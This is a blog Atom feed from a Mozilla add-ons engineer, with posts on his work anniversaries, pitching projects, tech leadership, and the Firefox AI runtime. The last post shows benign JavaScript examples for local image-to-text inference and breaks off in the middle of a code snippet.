<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>William Durand</title>
    <link href="https://williamdurand.fr/atom.xml" rel="self"/>
    <link href="https://williamdurand.fr"/>
    <updated>2026-05-01T13:00:04+00:00</updated>
    <id>https://williamdurand.fr/</id>
    <author>
        <name>William Durand</name>
        <email>will@drnd.me</email>
    </author>

    
    <entry>
        <title>Moziversary #8</title>
        <link href="https://williamdurand.fr/2026/05/01/moziversary-8/"/>
        <updated>2026-05-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2026/05/01/moziversary-8</id>
        <content type="html">&lt;p&gt;&lt;em&gt;Today is my eighth Moziversary 🎂 I joined Mozilla as a full-time employee on
May 1st, 2018. I previously blogged in &lt;del&gt;2019&lt;/del&gt;, &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;2020&lt;/a&gt;, &lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;2021&lt;/a&gt;, &lt;a href=&quot;/2022/05/01/moziversary-4/&quot;&gt;2022&lt;/a&gt;,
&lt;a href=&quot;/2023/05/01/moziversary-5/&quot;&gt;2023&lt;/a&gt;, &lt;a href=&quot;/2024/05/01/moziversary-6/&quot;&gt;2024&lt;/a&gt;, and &lt;a href=&quot;/2025/05/05/moziversary-7/&quot;&gt;2025&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You might have come across this &lt;a href=&quot;https://blog.mozilla.org/addons/tag/data-consent/&quot;&gt;built-in data consent&lt;/a&gt; thing for extensions
in Firefox. I spent a good chunk of last year working on this project, from
developing a technical proposal to implementing the feature in &lt;a href=&quot;https://firefox-source-docs.mozilla.org/overview/gecko.html&quot;&gt;Gecko&lt;/a&gt;,
Firefox for desktop and Firefox for Android.&lt;/p&gt;

&lt;p&gt;Talking about Android, I &lt;a href=&quot;https://groups.google.com/a/mozilla.org/g/governance/c/OPdtww0H07I/m/Hc5WnwwPFgAJ&quot;&gt;became the module owner&lt;/a&gt; for
&lt;a href=&quot;https://firefox-source-docs.mozilla.org/mots/index.html#fenix-add-ons&quot;&gt;&lt;em&gt;Fenix::Add-ons&lt;/em&gt;&lt;/a&gt;, a module for all the code related to
add-ons in Firefox for Android (which we call “Fenix” internally). Between the
creation of this new module, and an ever-solidifying collaboration between the
Add-ons and Android teams, the support for extensions in Firefox for Android has
a bright future! Having started my Android journey in 2023, this feels like a
noteworthy achievement.&lt;/p&gt;

&lt;p&gt;Near the end of last year, I moved back to being a full-time &lt;a href=&quot;https://addons.mozilla.org/&quot;&gt;AMO&lt;/a&gt; engineer to
support a team that was down to two engineers. I redesigned the detail page, and
started some refactoring on our security scanners, which I had originally
created back in 2019 😬&lt;/p&gt;

&lt;p&gt;In other news, I joined the AI/LLM/vibe-coding crowd thanks to my colleague
&lt;a href=&quot;https://paul.cx/&quot;&gt;Paul&lt;/a&gt;, and it took me about a month to get brain-fried… &lt;a href=&quot;https://siddhantkhare.com/writing/ai-fatigue-is-real&quot;&gt;AI
fatigue is real&lt;/a&gt;, indeed. That said, Claude code has been somewhat useful to
me, and I don’t &lt;em&gt;hate&lt;/em&gt; it, but I also don’t &lt;em&gt;love&lt;/em&gt; it.&lt;/p&gt;

&lt;p&gt;Thank you to everyone in the Add-ons team as well as to all the folks I had the
pleasure to work with so far. Cheers!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>My process for pitching projects as an engineer</title>
        <link href="https://williamdurand.fr/2025/12/30/my-process-for-pitching-projects-as-an-engineer/"/>
        <updated>2025-12-30T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2025/12/30/my-process-for-pitching-projects-as-an-engineer</id>
        <content type="html">&lt;p&gt;&lt;em&gt;This winter break has finally given me the mental space I needed, so I wrote
another work-related article this month&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, yay! This time, I’ll focus on my
personal process for pitching projects as an engineer.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ever had a great idea at work but struggled to get it on the roadmap? As an
engineer in an environment where product work is primarily driven by product
managers, I’ve learned how to turn ideas into team priorities. The good thing
is: there is no need to be a lead engineer for that!&lt;/p&gt;

&lt;h2 id=&quot;from-idea-to-proposal&quot;&gt;From idea to proposal&lt;/h2&gt;

&lt;p&gt;Every project starts with an idea aimed at solving a specific problem&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.
Focusing on small, self-contained problems is much easier than tackling
something that spans the entire product or system. Addressing larger problems
becomes easier with experience and practice.&lt;/p&gt;

&lt;p&gt;I mainly do some research and talk to people. Sometimes, as an engineer who
enjoys coding, I might also do some initial “hacking” to explore the idea and
uncover potential issues. Though not strictly necessary, I find this helpful for
uncovering technical blockers (I also love making cool demos 🙈).&lt;/p&gt;

&lt;p&gt;The goal of this phase is to move the idea from a vague notion to a solid,
credible solution for a well-defined problem. From experience, neglecting this
step often leads to a half-baked proposal that lacks clarity and fails to gain
traction.&lt;/p&gt;

&lt;h2 id=&quot;gaining-initial-buy-in&quot;&gt;Gaining initial buy-in&lt;/h2&gt;

&lt;p&gt;My strategy for socializing and building support for an idea usually involves
three groups: my peers, my Product Manager (PM), and my manager. I typically
move from peers up to my manager, adjusting my approach based on the feedback I
receive along the way. This iterative feedback process is essential to me. It
stress-tests the idea and maximizes my chances of success, even if the initial
concept requires significant revision.&lt;/p&gt;

&lt;p&gt;I aim to convince one or two peers. The burden of proof is entirely on me to
sell the idea, which is why the previous step is so important. When the idea
moves to the broader team or to the PM, having a peer vouch for its value shifts
the dynamic from one person’s suggestion to a team-vetted proposal.&lt;/p&gt;

&lt;p&gt;Once I have peer buy-in, I start a conversation with the PM. Product Managers
are focused on business value, not engineering details. They usually need
answers to the following questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is the value added?&lt;/li&gt;
  &lt;li&gt;Why should this be prioritized now?&lt;/li&gt;
  &lt;li&gt;What is the estimated time to production?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ve found that a concise document&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; outlining the final state and answering
these specific questions works best for engaging the PM. This is convenient
because it’s the same format I use when approaching my peers, so I usually keep
the same &lt;em&gt;living&lt;/em&gt; document.&lt;/p&gt;

&lt;h2 id=&quot;securing-manager-approval&quot;&gt;Securing manager approval&lt;/h2&gt;

&lt;p&gt;Once I have my peers and product manager on board, I approach my manager to
discuss planning. In collaboration with the PM, my manager ultimately owns the
team’s roadmap.&lt;/p&gt;

&lt;p&gt;This isn’t the first time my manager hears about the idea, though. I maintain a
proactive communication strategy, ensuring I give them a heads-up about
developing ideas and significant technical explorations early. This prevents my
manager from being caught off guard or, worse, hearing about a developing
initiative secondhand from other stakeholders. It also allows them to provide
early, high-level strategic guidance that might steer the proposal in a more
productive direction before significant effort is invested.&lt;/p&gt;

&lt;p&gt;The aim is to engage them at the right time: early for awareness and strategic
input, and formally when a well-supported, high-quality proposal is ready for
definitive planning and commitment.&lt;/p&gt;

&lt;h2 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h2&gt;

&lt;p&gt;This is my approach to increase the chances of a project to make it onto our
roadmap. Do note that this approach won’t always succeed. Ideas are sometimes
rejected, and that’s okay.&lt;/p&gt;

&lt;p&gt;With that said, I’d encourage interested folks to come up with what works for
them, but that’s probably a safe start. If you’re one of them, remember that
likely no one will care more than you do, so don’t drop the ball!&lt;/p&gt;
&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;The &lt;a href=&quot;/2025/12/24/you-can-lead-a-horse-to-water-but-you-cant-force-it-to-drink/&quot;&gt;previous article&lt;/a&gt;
  covered some challenges as a tech lead. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;A few concrete examples in no particular order: porting a feature to a
  different platform, sunsetting a service, building an in-house feature to
  replace a third-party application. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Such a document is often referred to as a “1-pager” even if its length
  can exceed a single page. &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>You can lead a horse to water but you can&apos;t force it to drink</title>
        <link href="https://williamdurand.fr/2025/12/24/you-can-lead-a-horse-to-water-but-you-cant-force-it-to-drink/"/>
        <updated>2025-12-24T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2025/12/24/you-can-lead-a-horse-to-water-but-you-cant-force-it-to-drink</id>
        <content type="html">&lt;p&gt;It’s an unpleasant pattern, one I’m deeply aware of: the tendency to use my
regular 1:1s with my manager as an outlet for pent-up frustration. While I
strive for constructive dialogue, the reality is that the various challenges my
team has faced over the past 3 years have created a reservoir of exasperation
that sometimes spills over. It doesn’t happen every time but I wouldn’t exclude
it happened more often than I am willing to concede…&lt;/p&gt;

&lt;p&gt;One particularly vivid discussion centered on the acute challenge of driving a
project forward when the contributors appeared distracted, pulled in too many
directions, or simply disengaged. I don’t remember the specifics but, as a tech
lead, this is a recurring problem. I possess all the technical vision and
planning responsibility, but none of the formal “authority” of a manager. I am
tasked with orchestration, but lack the levers of performance reviews or task
assignment to enforce focus.&lt;/p&gt;

&lt;p&gt;My manager, having listened patiently to my description of the sheer effort
required to maintain momentum, made the following comment:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You can lead a horse to water but you can’t force it to drink.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At the time, my sole obsession was the completion of the project. This singular
focus blinded me to a set of important leadership principles, which this saying
kinda illuminated.&lt;/p&gt;

&lt;p&gt;First, there is a stark division between what I can control and what I cannot.
Since I am not a manager, I cannot mandate what tasks my teammates prioritize,
and I cannot force them to allocate their time optimally either. These are
management functions that reside elsewhere.&lt;/p&gt;

&lt;p&gt;However, recognizing this limitation is liberating, as it directs my energy
toward my spheres of influence. I can absolutely control the clarity of the
project’s priority. I can ensure that every relevant stakeholder understands why
this work is a top-priority initiative. Furthermore, and critically, I can
control the environment for execution. I can be the first to identify and remove
blockers, to clarify ambiguities, and to ensure no one is “stuck” awaiting a
decision or a piece of information. My role shifts from pushing people to
clearing the path for them.&lt;/p&gt;

&lt;p&gt;The second insight is about the nature of my intervention. I can generate far
greater impact by adopting a posture of “enablement” and opportunity creation
rather than rescue or takeover. It’s tempting, in the face of (likely) perceived
slowness, to simply get things done myself. This provides immediate, but
shallow, relief. The deeper, more structural impact comes from always creating
new opportunities.&lt;/p&gt;

&lt;p&gt;This approach requires a profound acceptance of risk, though. It means accepting
that an opportunity provided might be fumbled, that a delegated task might not
be executed perfectly, or that a teammate might initially choose the wrong path.
If I take over every difficult or risky task, I rob my colleagues of the
opportunity to grow, to demonstrate ownership, and to ultimately &lt;em&gt;drink the
water&lt;/em&gt; on their own terms.&lt;/p&gt;

&lt;p&gt;And that’s why I find this saying pretty good and relevant. As a tech lead, I am
responsible for the &lt;em&gt;water&lt;/em&gt;. I must ensure the goal is clear, the path is
accessible, the resources are available, and the environment is conducive to
success. I must exhaust every possible avenue to supercharge my teammates
through inspiration, clear communication, and strategic support.&lt;/p&gt;

&lt;p&gt;But I am not, and cannot be, responsible for the &lt;em&gt;drinking&lt;/em&gt; part. If, after all
my efforts, a team member consistently chooses a path of disengagement, lack of
focus, or resistance to the collective goal, that crosses the boundary of my
direct control. At that point, the issue moves into a different domain. It
becomes an issue for their own manager to address or for the individual
themselves.&lt;/p&gt;

&lt;p&gt;Accepting this boundary helps me preserve my energy for where it can truly
effect change.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Moziversary #7</title>
        <link href="https://williamdurand.fr/2025/05/05/moziversary-7/"/>
        <updated>2025-05-05T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2025/05/05/moziversary-7</id>
        <content type="html">&lt;p&gt;&lt;em&gt;A few days ago, this was my seventh Moziversary 🎂 I joined Mozilla as a
full-time employee on May 1st, 2018. I previously blogged in &lt;del&gt;2019&lt;/del&gt;, &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;2020&lt;/a&gt;,
&lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;2021&lt;/a&gt;, &lt;a href=&quot;/2022/05/01/moziversary-4/&quot;&gt;2022&lt;/a&gt;, &lt;a href=&quot;/2023/05/01/moziversary-5/&quot;&gt;2023&lt;/a&gt;, and &lt;a href=&quot;/2024/05/01/moziversary-6/&quot;&gt;2024&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;While I may not have the energy to reflect extensively on the past year right
now, I can say with confidence that the last 12 months have been incredibly
productive, and things are generally going well for me.&lt;/p&gt;

&lt;p&gt;Seven years later, I am still part of the Add-ons team. As a &lt;a href=&quot;/2025/03/01/senior-staff/&quot;&gt;senior staff&lt;/a&gt;
engineer, I am no longer working full time on &lt;a href=&quot;/2022/01/25/new-team-mozilla/&quot;&gt;the WebExtensions
team&lt;/a&gt;.  Instead, I am spending my time on anything related to
Add-ons within Mozilla (be it Firefox, AMO, etc.).&lt;/p&gt;

&lt;p&gt;My team went through a lot of changes over the last few years&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, with some
years more memorable than others. About a year ago, things started to head into
the right direction, and I am rather hopeful. It’s going to take some time, but
the team is really set up for success again!&lt;/p&gt;

&lt;p&gt;Shout-out to all my amazing colleagues at Mozilla, I wouldn’t be where I am
today without y’all ❤️&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Let’s talk briefly about the elephant. Mozilla has changed a lot too but I
don’t have much control over that so I tend to not think too much about it 🤷 &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Firefox AI &amp; WebExtensions</title>
        <link href="https://williamdurand.fr/2025/03/24/firefox-ai-and-webextensions/"/>
        <updated>2025-03-24T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2025/03/24/firefox-ai-and-webextensions</id>
        <content type="html">&lt;p&gt;&lt;em&gt;I gave an introduction to the Firefox AI runtime and WebExtensions at a &lt;a href=&quot;https://www.clermontech.org/&quot;&gt;French
local conference&lt;/a&gt; this month. This article is a loose transcript of
what I said.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s talk about Firefox, AI, and WebExtensions.&lt;/p&gt;

&lt;h2 id=&quot;browser-extensions&quot;&gt;Browser extensions&lt;/h2&gt;

&lt;p&gt;Browser extensions are tiny applications that modify and/or add features to a
web browser. Nowadays, these small programs can be written in such a way that
they should be compatible with different browsers.&lt;/p&gt;

&lt;p&gt;That’s because there exists a cross-browser system called “WebExtensions”, which
– among other things – provides a set of common APIs that browser extensions can
use. In addition to that, browsers can also expose their own APIs, and we’ll see
that in a moment.&lt;/p&gt;

&lt;p&gt;You’ll find a lot more information on this &lt;a href=&quot;https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions&quot;&gt;MDN page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; During my talk, I used the &lt;a href=&quot;https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension&quot;&gt;Borderify extension&lt;/a&gt;
to walk the audience through an example of a web extension. I then concluded
that it’s super easy to get started but also very powerful. Extensions like
uBlock Origin, Dark Reader, 1Password, etc. are rather powerful and
sophisticated features.&lt;/p&gt;

&lt;h2 id=&quot;firefox-ai-runtime&quot;&gt;Firefox AI runtime&lt;/h2&gt;

&lt;p&gt;Firefox has a new &lt;a href=&quot;https://firefox-source-docs.mozilla.org/toolkit/components/ml/&quot;&gt;component&lt;/a&gt; based on &lt;a href=&quot;https://huggingface.co/docs/transformers.js/&quot;&gt;Transformers.js&lt;/a&gt; and the
&lt;a href=&quot;https://onnxruntime.ai/&quot;&gt;ONNX runtime&lt;/a&gt; to perform local inference directly in the browser.  In short,
this runtime allows to use a model from &lt;a href=&quot;https://huggingface.co/&quot;&gt;Hugging Face&lt;/a&gt; (like GitHub but for
Machine Learning models) directly in Firefox&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, without the need to send data
to any servers. Every operation is performed on the user’s machine once the
model files have been downloaded by Firefox.&lt;/p&gt;

&lt;p&gt;While every website could technically load Transformers.js and a model, this
isn’t very efficient. Say two websites use the same model, you end up with two
copies of the model files. And those aren’t exactly small.&lt;/p&gt;

&lt;p&gt;This Firefox component – also known as the Firefox (AI) runtime – addresses this
problem by ensuring that models are shared. In addition, this runtime takes care
of managing resources, and model inference is isolated from the rest of Firefox
in an &lt;em&gt;inference&lt;/em&gt; process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; During my talk, I mentioned that – while we call this “AI” now –
Mozilla has been doing Machine Learning (ML) for a very long time&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. For
instance, Firefox Translations isn’t exactly &lt;a href=&quot;https://github.com/mozilla/firefox-translations&quot;&gt;new&lt;/a&gt;,
and whether you like it or not, this is clearly an application of Generative
AI&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. Same thing, still.&lt;/p&gt;

&lt;p&gt;Anyway, let’s see how we can interact with this runtime. We’re going to generate
text that describes an image in the rest of this section.&lt;/p&gt;

&lt;p&gt;The “hacker’s approach” is probably to open a &lt;a href=&quot;https://firefox-source-docs.mozilla.org/devtools-user/browser_console/index.html&quot;&gt;Browser console&lt;/a&gt; in
&lt;a href=&quot;https://nightly.mozilla.org&quot;&gt;Nightly&lt;/a&gt;, and run some privileged JavaScript code:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createEngine&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ChromeUtils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;importESModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;chrome://global/content/ml/EngineProcess.sys.mjs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;taskName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;image-to-text&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;modelHub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mozilla&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;engine&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createEngine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;engine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://williamdurand.fr/images/posts/2014/12/brussels.jpg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// res =&amp;gt; { generated_text: &quot;A large poster of a man on a wall.&quot; }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As mentioned previously, the Firefox runtime is based on Transformers.js, which
is why the code looks familiar when you know Transformers already. For instance,
instead of passing an actual model here, we pass a &lt;em&gt;task name&lt;/em&gt;. That’s an
abstraction coming from Transformers. Don’t worry, we can also pass a model name
and a lot of other (pipeline) options!&lt;/p&gt;

&lt;p&gt;For those looking for a more graphical approach to play with this AI runtime,
Firefox Nightly provides an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;about:inference&lt;/code&gt; page that looks like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2025/03/aboutinference.webp&quot; alt=&quot;Screenshot of the about:inference page&quot; /&gt;
&lt;!-- add some space between the image and the next paragraph --&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;That’s cool but… Why? Well, it turns out this example isn’t a random example.
This code snippet is an overly simplified version of a feature in Firefox’s PDF
reader (&lt;a href=&quot;https://github.com/mozilla/pdf.js&quot;&gt;PDF.js&lt;/a&gt; ❤️): alt text generation&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2025/03/pdfjs.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Screenshot of an “Edit alt text” dialog in PDF.js (inside Firefox): the image
description has been automatically generated.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: During my talk, someone asked a question about the use of GPU, for
which I didn’t have the answer. I do have it now, though. The Firefox AI runtime
runs on CPU by default, but it is possible to run on GPU via &lt;a href=&quot;https://developer.mozilla.org/docs/Web/API/WebGPU_API&quot;&gt;WebGPU&lt;/a&gt;. It’s
worth mentioning that this runtime doesn’t feel as fast as a more “native”
solution (like &lt;a href=&quot;https://ollama.com/&quot;&gt;Ollama&lt;/a&gt;) yet but the team at Mozilla is working on it!&lt;/p&gt;

&lt;p&gt;Anyhow, let’s move to the final part of this &lt;del&gt;talk&lt;/del&gt; article.&lt;/p&gt;

&lt;h2 id=&quot;webextensions-ml-api&quot;&gt;WebExtensions ML API&lt;/h2&gt;

&lt;p&gt;The best of both worlds, yay!&lt;/p&gt;

&lt;p&gt;We shipped an experimental WebExtensions API to allow extensions to do local
inference (&lt;a href=&quot;https://firefox-source-docs.mozilla.org/toolkit/components/ml/extensions.html&quot;&gt;docs&lt;/a&gt;), leveraging the Firefox AI runtime under the hood.
Expect things to evolve, it’s bleeding edge technology!&lt;/p&gt;

&lt;p&gt;At the time of writing this, we can rewrite the example from the previous
section into “extension code” as follows:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;taskName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;image-to-text&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;modelHub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mozilla&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;browser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createEngine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;browser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;runEngine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
